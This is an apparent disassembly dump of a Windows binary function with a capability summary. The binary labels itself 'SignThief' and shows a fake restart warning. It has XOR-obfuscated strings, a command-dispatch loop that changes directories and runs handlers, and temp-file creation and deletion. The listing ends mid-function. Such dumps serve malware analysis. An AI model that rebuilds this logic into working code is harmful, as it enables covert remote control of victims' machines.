Function at 0x14000e3e0
Capabilities:
Delete file
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x388
vmovaps xmmword [rsp + 0x370], xmm6
lea rbx, [rsp + 0x280]
lea r12, [rsp + 0x240]
call fcn.14000bc87
mov rcx, rbx
lea r13, [rsp + 0x31f]
call fcn.1400048a0
mov rcx, r12
and r13, 0xffffffffffffffe0
call fcn.1400047f0
mov rdx, rbx
mov rcx, r12
call fcn.140004620
mov rcx, r12
mov esi, eax
call fcn.14000bb00
mov rcx, rbx
call fcn.14000bb00
test sil, sil
jne 0x14000e4b0
lea r14, [rsp + 0x220]
mov edx, 0x12
mov rcx, r14
call fcn.140004b40
mov r9d, 0x31
lea r8, str.SignThief___Warning
xor ecx, ecx
lea rdx, str.Your_computer_will_be_restarted_instantly_after_installing_this_software.
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
jne 0x14000f96c
mov rcx, r14
call fcn.14000bb00
xor eax, eax
vmovaps xmm6, xmmword [rsp + 0x370]
add rsp, 0x388
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
mov rsi, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov qword [rsp + 0x280], 0x3c
mov dword [rsp + 0x288], ecx
mov rdx, rbx
mov rcx, rbx
call sub.libwinpthread_1.dll_nanosleep
cmp eax, 0xffffffff
je 0x14000f880
lea rcx, [0x1400180c0]
xor r8d, r8d
lea rdx, [0x1400180d0]
call sub.gdiplus.dll_GdiplusStartup
lea rax, [rsp + 0x190]
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0x1e0]
mov rcx, rax
mov byte [rsp + 0x190], 0
mov qword [rsp + 0x1a8], 0
mov byte [rsp + 0x1b0], 0
mov qword [rsp + 0x1c8], 0
mov byte [rsp + 0x1d0], 0
mov qword [rsp + 0x138], rax
call fcn.140009a10
xor edx, edx
mov ecx, 0x18
mov qword [rsp + 0x148], rdx
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
lea rdi, [0x140012a90]
lea rcx, [rsp + 0x148]
mov rdx, rbx
mov qword [rsp + 0x280], rax
vmovq xmm0, rdi
lea rdi, [0x140005490]
vpinsrq xmm0, xmm0, qword [rsp + 0x138], 1
mov qword [rax + 0x10], rdi
lea r8, [0x14000dea0]
vmovdqu xmmword [rax], xmm0
call fcn.14000bb10
mov rcx, qword [rsp + 0x280]
test rcx, rcx
je 0x14000e5ee
mov rax, qword [rcx]
call qword [rax + 8]
movabs rax, 0x76d39794704b88f1
lea rbp, [rsp + 0x290]
movabs r15, 0x1887bc2d51f36538
mov qword [rsp + 0x48], rax
movabs rax, 0x75e8df7225960217
mov qword [rsp + 0x50], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x58], rax
movabs rax, 0x75e8df7225966674
mov qword [rsp + 0x110], rax
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x240], r15
mov rcx, r12
mov rdi, qword [rsp + 0x1e8]
mov r14, qword [rsp + 0x1e0]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
vmovdqa xmm1, xmmword [rsp + 0x30]
vpxor xmm0, xmm1, xmmword [rsp + 0x240]
vmovdqa xmmword [rsp + 0x240], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov qword [rsp + 0x280], rbp
lea rdx, [rdi + rax]
mov byte [rsp + 0x290], 0
mov rsi, rax
mov qword [rsp + 0x288], 0
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rsi
jb 0x14000fbf5
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rdi
jb 0x14000fc01
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call fcn.14000bae0
lea rdi, [rsp + 0x180]
mov r8d, 0xe10
mov rcx, rbx
mov rdx, rdi
call fcn.140001730
mov rcx, qword [rsp + 0x280]
mov esi, eax
cmp rcx, rbp
je 0x14000e74f
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
cmp esi, 0xe8
jne 0x14000e640
cmp qword [rsp + 0x188], 0
je 0x14000e640
lea rax, [rsp + 0x160]
mov rdx, rdi
mov rcx, rax
mov qword [rsp + 0x120], rax
call fcn.140006de0
mov rax, qword [rsp + 0x110]
mov rcx, rbx
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0x280], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x160]
vmovdqa xmm2, xmmword [rsp + 0x60]
vpxor xmm0, xmm2, xmmword [rsp + 0x280]
mov qword [rsp + 0xe0], rax
vmovdqa xmmword [rsp + 0x280], xmm0
mov rsi, qword [rax + 8]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp rsi, rax
je 0x14000ee40
movabs rax, 0x75e8df7256f96673
mov rcx, rbx
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0x280], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x98], rax
vmovdqa xmm3, xmmword [rsp + 0x90]
vpxor xmm0, xmm3, xmmword [rsp + 0x280]
vmovdqa xmmword [rsp + 0x280], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp rsi, rax
je 0x14000ef20
movabs rax, 0x1d9bb11740e46164
mov rcx, rbx
mov qword [rsp + 0x280], rax
movabs rax, 0x76d397bb14259df3
mov qword [rsp + 0x288], rax
movabs rax, 0x75e8df7225960217
mov qword [rsp + 0xa0], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0xa8], rax
vmovdqa xmm4, xmmword [rsp + 0xa0]
vpxor xmm0, xmm4, xmmword [rsp + 0x280]
vmovdqa xmmword [rsp + 0x280], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp rsi, rax
je 0x14000efd0
mov rdx, rdi
mov rcx, rbx
call fcn.140003e00
mov rcx, qword [rsp + 0x1a0]
mov rdx, qword [rsp + 0x280]
vmovq xmm0, qword [rsp + 0x288]
mov rax, rcx
cmp rdx, rbp
je 0x14000fafc
mov rdi, qword [rsp + 0x128]
vpinsrq xmm0, xmm0, qword [rsp + 0x290], 1
cmp rcx, rdi
je 0x14000fa93
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x1a0], rdx
vmovdqu xmmword [rsp + 0x1a8], xmm0
test rax, rax
je 0x14000faa4
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x288], 0
mov byte [rax], 0
mov rcx, qword [rsp + 0x280]
cmp rcx, rbp
je 0x14000e981
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
lea rsi, [rsp + 0x1a0]
movabs rax, 0x75e8ab0755e27778
mov rcx, rsi
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0x150], rax
lea rdi, [rsp + 0x150]
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x158], rax
mov qword [rsp + 0xc8], rax
vmovdqa xmm5, xmmword [rsp + 0xc0]
vpxor xmm6, xmm5, xmmword [rsp + 0x150]
vmovdqa xmmword [rsp + 0x150], xmm6
call fcn.140004f80
mov rcx, rdi
mov qword [rsp + 0x280], rbp
mov rsi, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
cmp rax, 1
je 0x14000f730
test rax, rax
je 0x14000ea40
mov r8, rbp
mov rdx, rdi
cmp eax, 8
jae 0x14000f918
xor ecx, ecx
test al, 4
jne 0x14000f909
test al, 2
jne 0x14000f8f6
test al, 1
jne 0x14000f8e9
nop dword [rax]
lea r14, [rsp + 0x2b0]
mov qword [rsp + 0x288], rax
mov byte [rsp + rax + 0x290], 0
mov qword [rsp + 0x2a0], r14
test rsi, rsi
je 0x14000fc6d
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x240], rax
mov rdi, rax
cmp rax, 0xf
ja 0x14000f790
cmp rax, 1
je 0x14000f720
test rax, rax
jne 0x14000fb4d
mov qword [rsp + 0x2a8], rax
xor ecx, ecx
movabs rdx, 0x75e8df7225960217
mov byte [r14 + rax], 0
movabs rax, 0x75e8df7225f27574
mov qword [rsp + 0xb0], rdx
xor edx, edx
mov qword [rsp + 0x200], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x208], rax
mov qword [rsp + 0xb8], rax
vmovdqa xmm5, xmmword [rsp + 0xb0]
vpxor xmm6, xmm5, xmmword [rsp + 0x200]
vmovdqa xmmword [rsp + 0x200], xmm6
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r14, [rsp + 0x200]
lea rsi, [rsp + 0x2d0]
mov rdi, rax
mov rcx, r14
mov qword [rsp + 0x2c0], rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
cmp rax, 1
je 0x14000f710
test rax, rax
je 0x14000eb70
mov r8, rsi
mov rax, r14
cmp edx, 8
jae 0x14000f943
xor ecx, ecx
test dl, 4
jne 0x14000f8da
test dl, 2
jne 0x14000f8c7
test dl, 1
jne 0x14000f8ba
nop dword [rax]
lea r14, [rsp + 0x2f0]
mov qword [rsp + 0x2c8], rdx
mov byte [rsp + rdx + 0x2d0], 0
mov qword [rsp + 0x2e0], r14
test rdi, rdi
je 0x14000fc0d
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0x240], rax
mov rsi, rax
cmp rax, 0xf
ja 0x14000f740
cmp rax, 1
je 0x14000f700
test rax, rax
jne 0x14000fb55
mov qword [rsp + 0x2e8], rax
xor r9d, r9d
mov rdx, rbx
mov rcx, r12
mov byte [r14 + rax], 0
lea rsi, [rsp + 0x300]
mov r8, rsi
call fcn.1400095b0
lea r14, [rsp + 0x220]
mov rdx, r12
mov rcx, r14
call fcn.140005f10
mov rcx, r12
call fcn.14000d9e0
mov rcx, qword [rsp + 0x240]
lea rax, [rsp + 0x270]
mov rdx, qword [rsp + 0x248]
cmp rcx, rax
je 0x14000ec30
shl rdx, 3
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
sub rsi, 0x40
mov rcx, qword [rsi + 0x20]
lea rax, [rsi + 0x30]
cmp rcx, rax
je 0x14000ec4e
mov rax, qword [rsi + 0x30]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x14000f6f0
mov rax, qword [rsi + 0x10]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
cmp rsi, rbx
jne 0x14000ec30
movabs rax, 0x19db02d51f37138
mov rcx, r12
mov rdi, qword [rsp + 0x1e8]
mov qword [rsp + 0x240], rax
movabs rax, 0x76d397bb3b519cec
mov qword [rsp + 0x248], rax
movabs rax, 0x75e8df7225960217
mov qword [rsp + 0xd0], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x1e0]
vmovdqa xmm4, xmmword [rsp + 0xd0]
vpxor xmm0, xmm4, xmmword [rsp + 0x240]
mov qword [rsp + 0x70], rax
vmovdqa xmmword [rsp + 0x240], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov qword [rsp + 0x280], rbp
lea rdx, [rdi + rax]
mov byte [rsp + 0x290], 0
mov rsi, rax
mov qword [rsp + 0x288], 0
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rsi
jb 0x14000fc3d
mov r8, rsi
mov rdx, r12
mov rcx, rbx
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rdi
jb 0x14000fc31
mov rdx, qword [rsp + 0x70]
mov r8, rdi
mov rcx, rbx
call fcn.14000bae0
lea r9, [rsp + 0x1c0]
mov r8, r14
mov rdx, rbx
lea rcx, [0x140018100]
call fcn.140002da0
mov rcx, qword [rsp + 0x280]
cmp rcx, rbp
je 0x14000eda7
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x220]
lea rax, [rsp + 0x230]
cmp rcx, rax
je 0x14000edcd
mov rax, qword [rsp + 0x230]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x168]
mov rsi, rax
cmp rax, rdi
je 0x14000ee0a
nop dword [rax]
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x14000ee30
mov rax, qword [rsi + 0x10]
add rsi, 0x20
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
cmp rdi, rsi
jne 0x14000ede8
mov rdx, qword [rsp + 0x170]
mov rcx, qword [rsp + 0xe0]
sub rdx, rcx
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x14000e640
add rsi, 0x20
cmp rdi, rsi
jne 0x14000ede8
jmp 0x14000ee0a
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax]
test rsi, rsi
je 0x14000ee63
mov r8, rsi
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x14000e7f8
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x20]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
test eax, eax
jne 0x14000fa12
movabs rax, 0x1b89b73105cb294c
lea rdi, [r13 + 0x40]
movabs rdx, 0x84bfdf5852e27c09
movabs rcx, 0x75e8df7225960217
mov qword [r13 + 0x40], rax
movabs rax, 0x7ca1fedf34418cfb
mov qword [r13 + 0x50], rdx
mov qword [r13 + 0x48], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [r13], rcx
movabs rcx, 0x76d397bb1425e99c
mov qword [r13 + 0x10], rdx
mov qword [r13 + 0x58], rax
vmovdqa ymm4, ymmword [r13 + 0x40]
mov qword [r13 + 0x18], rax
mov qword [r13 + 8], rcx
vpxor ymm0, ymm4, ymmword [r13]
vmovdqa ymmword [r13 + 0x40], ymm0
mov rcx, rdi
vzeroupper
lea rsi, [rsp + 0x1a0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9, rdi
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x1a8]
call fcn.14000baf8
jmp 0x14000e989
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax]
test rsi, rsi
je 0x14000ef43
mov r8, rsi
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x14000e862
mov rdx, rdi
mov rcx, rbx
call fcn.140006970
mov rsi, qword [rsp + 0x280]
mov rcx, qword [rsi + 0x40]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rsi + 0x20]
mov edx, eax
call fcn.140005730
mov rcx, rbx
call fcn.14000e2c0
mov rax, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0x168]
mov rsi, rax
cmp rax, rdi
je 0x14000ee0a
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x14000efc0
mov rax, qword [rsi + 0x10]
add rsi, 0x20
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
cmp rdi, rsi
je 0x14000ee0a
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
jne 0x14000ef9a
add rsi, 0x20
cmp rdi, rsi
jne 0x14000ef8e
jmp 0x14000ee0a
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax]
test rsi, rsi
je 0x14000eff3
mov r8, rsi
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcmp
test eax, eax
jne 0x14000e8d6
movabs rax, 0x44d8b91741f56076
movabs rdx, 0x84bfdf5852e27c09
movabs rcx, 0x75e8df7225960217
mov qword [r13], rax
movabs rax, 0x4feba08d2111daae
mov qword [r13 + 8], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x38], rax
lea rax, [rsp + 0x250]
mov qword [r13 + 0x10], rdx
vmovdqa ymm3, ymmword [r13]
mov qword [r13 + 0x20], rcx
movabs rcx, 0x76d397bb1425e99c
mov qword [r13 + 0x30], rdx
mov qword [rsp + 0xe8], rax
mov qword [r13 + 0x28], rcx
vpxor ymm0, ymm3, ymmword [r13 + 0x20]
mov rcx, r13
mov qword [rsp + 0x240], rax
vmovdqa ymmword [r13], ymm0
vmovdqu ymmword [rsp + 0x70], ymm0
vzeroupper
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
vmovdqu ymm0, ymmword [rsp + 0x70]
cmp rax, 0xf
mov qword [rsp + 0x280], rax
mov rsi, rax
ja 0x14000f7f0
cmp rax, 1
je 0x14000f7de
test rax, rax
jne 0x14000fba1
mov rdx, qword [rsp + 0xe8]
vzeroupper
mov qword [rsp + 0x248], rax
mov rcx, rbx
mov byte [rdx + rax], 0
mov edx, 0x20
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x288], 0
mov byte [rsp + 0x290], 0
call fcn.14000bae8
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
mov dword [rsp + 0x70], 0x20
jmp 0x14000f138
sub dword [rsp + 0x70], 1
mov byte [rax + rsi], dil
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x288], r14
mov byte [rax + rsi + 1], 0
je 0x14000f1b0
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
xor edx, edx
mov rsi, qword [rsp + 0x288]
cdqe
div qword [rsp + 0x248]
mov rax, qword [rsp + 0x240]
lea r14, [rsi + 1]
movzx edi, byte [rax + rdx]
mov rax, qword [rsp + 0x280]
cmp rax, rbp
je 0x14000f1a8
mov rdx, qword [rsp + 0x290]
cmp rdx, r14
jae 0x14000f118
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], 1
call fcn.14000bac8
mov rax, qword [rsp + 0x280]
jmp 0x14000f118
mov edx, 0xf
jmp 0x14000f176
mov rdi, qword [rsp + 0x288]
lea r14, [rsp + 0x220]
movabs rax, 0x75e8df1540e66839
movabs rdx, 0x75e8df7225960217
mov qword [rsp + 0x200], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x208], rax
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0xf0], rdx
mov rcx, rax
vmovdqa xmm5, xmmword [rsp + 0xf0]
vpxor xmm0, xmm5, xmmword [rsp + 0x200]
mov qword [rsp + 0x70], rax
vmovdqa xmmword [rsp + 0x200], xmm0
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, r14
mov byte [rsp + 0x230], 0
mov qword [rsp + 0x228], 0
mov rsi, rax
lea rax, [rsp + 0x230]
lea rdx, [rdi + rsi]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x220], rax
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x228]
cmp rax, rdi
jb 0x14000fc25
mov rdx, qword [rsp + 0x130]
mov r8, rdi
mov rcx, r14
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x228]
cmp rax, rsi
jb 0x14000fc19
mov rdx, qword [rsp + 0x70]
mov r8, rsi
mov rcx, r14
call fcn.14000bae0
mov rcx, qword [rsp + 0x280]
cmp rcx, rbp
je 0x14000f2f0
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0xe8]
cmp rcx, rax
je 0x14000f316
mov rax, qword [rsp + 0x250]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0xe8]
movabs rdx, 0x75e8df7225960217
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x248], 1
mov qword [rsp + 0x240], rax
mov eax, 0x5c
mov qword [rsp + 0x100], rdx
mov word [rsp + 0x250], ax
movabs rax, 0x75e8df7275db4743
mov qword [rsp + 0x150], rax
movabs rax, 0x76d397bb1425e99c
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x108], rax
vmovdqa xmm2, xmmword [rsp + 0x100]
vpxor xmm0, xmm2, xmmword [rsp + 0x150]
vmovdqa xmmword [rsp + 0x150], xmm0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
mov rsi, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, r12
call fcn.14000baf8
mov qword [rsp + 0x280], rbp
mov rdx, qword [rax]
lea r8, [rax + 0x10]
mov rcx, qword [rax + 8]
cmp rdx, r8
je 0x14000fadc
mov qword [rsp + 0x280], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x290], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x288], rdx
mov byte [rax + 0x10], 0
mov qword [rax], r8
mov r9, qword [rsp + 0x280]
mov qword [rax + 8], 0
mov rdx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x220]
lea rax, [rdx + r8]
cmp r9, rbp
je 0x14000fabc
cmp qword [rsp + 0x290], rax
jae 0x14000f469
mov rdi, qword [rsp + 0x118]
cmp rcx, rdi
je 0x14000fb5d
mov r10, qword [rsp + 0x230]
cmp r10, rax
jae 0x14000f9fb
movabs rax, 0x3fffffffffffffff
sub rax, rdx
cmp rax, r8
jb 0x14000fc49
mov rdx, rcx
mov rcx, rbx
call fcn.14000bae0
lea r14, [rsp + 0x210]
lea r8, [rax + 0x10]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x200], r14
mov rdx, qword [rax]
cmp rdx, r8
je 0x14000faec
mov qword [rsp + 0x200], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0x210], rdx
mov rdx, qword [rax + 8]
mov qword [rsp + 0x208], rdx
mov qword [rax], r8
mov byte [rax + 0x10], 0
mov rcx, qword [rsp + 0x280]
mov qword [rax + 8], 0
cmp rcx, rbp
je 0x14000f4fb
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0xe8]
cmp rcx, rax
je 0x14000f521
mov rax, qword [rsp + 0x250]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x220]
mov rax, qword [rsp + 0x118]
cmp rcx, rax
je 0x14000f547
mov rax, qword [rsp + 0x230]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x70]
call fcn.1400033e0
movabs rax, 0x169b80164bf37138
mov rdi, qword [rsp + 0x1e8]
movabs rdx, 0x75e8df7225960217
mov qword [r13 + 0x20], rax
movabs rax, 0x2bcffc87a408cee
mov qword [r13 + 0x28], rax
movabs rax, 0x84bfdf5852e27c26
mov qword [r13 + 0x30], rax
movabs rax, 0x1ed4e1d9dcb37476
mov qword [r13 + 0x38], rax
vmovdqa ymm6, ymmword [r13 + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0xe8], rax
lea rax, [r13 + 0x20]
mov qword [r13], rdx
mov rcx, rax
movabs rdx, 0x76d397bb1425e99c
mov qword [rsp + 0x118], rax
mov qword [r13 + 8], rdx
movabs rdx, 0x84bfdf5852e27c09
mov qword [r13 + 0x10], rdx
vpxor ymm0, ymm6, ymmword [r13]
vmovdqa ymmword [r13 + 0x20], ymm0
vzeroupper
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rbx
mov qword [rsp + 0x280], rbp
lea rdx, [rdi + rax]
mov byte [rsp + 0x290], 0
mov rsi, rax
mov qword [rsp + 0x288], 0
call fcn.14000bae8
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rsi
jb 0x14000fc61
mov rdx, qword [rsp + 0x118]
mov r8, rsi
mov rcx, rbx
call fcn.14000bae0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x288]
cmp rax, rdi
jb 0x14000fc55
mov rdx, qword [rsp + 0xe8]
mov r8, rdi
mov rcx, rbx
call fcn.14000bae0
mov r8, qword [rsp + 0x70]
lea r9, [rsp + 0x1c0]
mov rdx, rbx
lea rcx, [0x140018100]
call fcn.140007740
mov rcx, qword [rsp + 0x280]
cmp rcx, rbp
je 0x14000f6b9
mov rax, qword [rsp + 0x290]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x200]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rcx, qword [rsp + 0x200]
cmp rcx, r14
je 0x14000ef72
mov rax, qword [rsp + 0x210]
lea rdx, [rax + 1]
call sub.libstdc_6.dll_operator_delete_void__unsigned_long_long_
jmp 0x14000ef72
cmp rsi, rbx
jne 0x14000ec30
jmp 0x14000ec70
movzx edx, byte [rdi]
mov byte [rsp + 0x2f0], dl
jmp 0x14000ebc9
vpextrb byte [rsp + 0x2d0], xmm6, 0
jmp 0x14000eb70
movzx edx, byte [rsi]
mov byte [rsp + 0x2b0], dl
jmp 0x14000ea99
vpextrb byte [rsp + 0x290], xmm6, 0
jmp 0x14000ea40
lea rcx, [rsp + 0x2e0]
xor r8d, r8d
mov rdx, r12
call fcn.14000bad0
mov qword [rsp + 0x2e0], rax
mov rcx, rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x2f0], rax
mov r8, rsi
mov rdx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rsp + 0x240]
mov r14, qword [rsp + 0x2e0]
jmp 0x14000ebc9
lea rcx, [rsp + 0x2a0]
xor r8d, r8d
mov rdx, r12
call fcn.14000bad0
mov qword [rsp + 0x2a0], rax
mov rcx, rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x2b0], rax
mov r8, rdi
mov rdx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rsp + 0x240]
mov r14, qword [rsp + 0x2a0]
jmp 0x14000ea99
vpextrb byte [rsp + 0x250], xmm0, 0
jmp 0x14000f0b8
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
vzeroupper
call fcn.14000bad0
mov rdx, qword [rsp + 0x280]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x250], rdx
cmp esi, 8
jb 0x14000f890
mov rdx, qword [r13]
lea r8, [rax + 8]
mov r9, r13
and r8, 0xfffffffffffffff8
mov qword [rax], rdx
mov edx, esi
mov rcx, qword [r13 + rdx - 8]
mov qword [rax + rdx - 8], rcx
sub rax, r8
add esi, eax
sub r9, rax
and esi, 0xfffffff8
cmp esi, 8
jb 0x14000f862
and esi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [r9 + rdx]
mov qword [r8 + rdx], rcx
cmp eax, esi
jb 0x14000f851
mov rax, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x240]
jmp 0x14000f0c3
call rsi
cmp dword [rax], 4
jne 0x14000e4e0
jmp 0x14000e4cc
test sil, 4
jne 0x14000fbdf
test esi, esi
je 0x14000f862
movzx edx, byte [r13]
mov byte [rax], dl
test sil, 2
je 0x14000f862
mov esi, esi
movzx edx, word [r13 + rsi - 2]
mov word [rax + rsi - 2], dx
jmp 0x14000f862
movzx eax, byte [rax + rcx]
mov byte [r8 + rcx], al
jmp 0x14000eb70
movzx r9d, word [rax + rcx]
mov word [r8 + rcx], r9w
add rcx, 2
jmp 0x14000eb60
mov ecx, dword [rax]
mov dword [r8], ecx
mov ecx, 4
jmp 0x14000eb57
movzx edx, byte [rdx + rcx]
mov byte [r8 + rcx], dl
jmp 0x14000ea40
movzx r9d, word [rdx + rcx]
mov word [r8 + rcx], r9w
add rcx, 2
jmp 0x14000ea35
mov ecx, dword [rdx]
mov dword [r8], ecx
mov ecx, 4
jmp 0x14000ea2d
mov r9d, eax
xor edx, edx
and r9d, 0xfffffff8
mov ecx, edx
add edx, 8
mov r8, qword [rdi + rcx]
mov qword [rbp + rcx], r8
cmp edx, r9d
jb 0x14000f921
mov edx, edx
lea r8, [rbp + rdx]
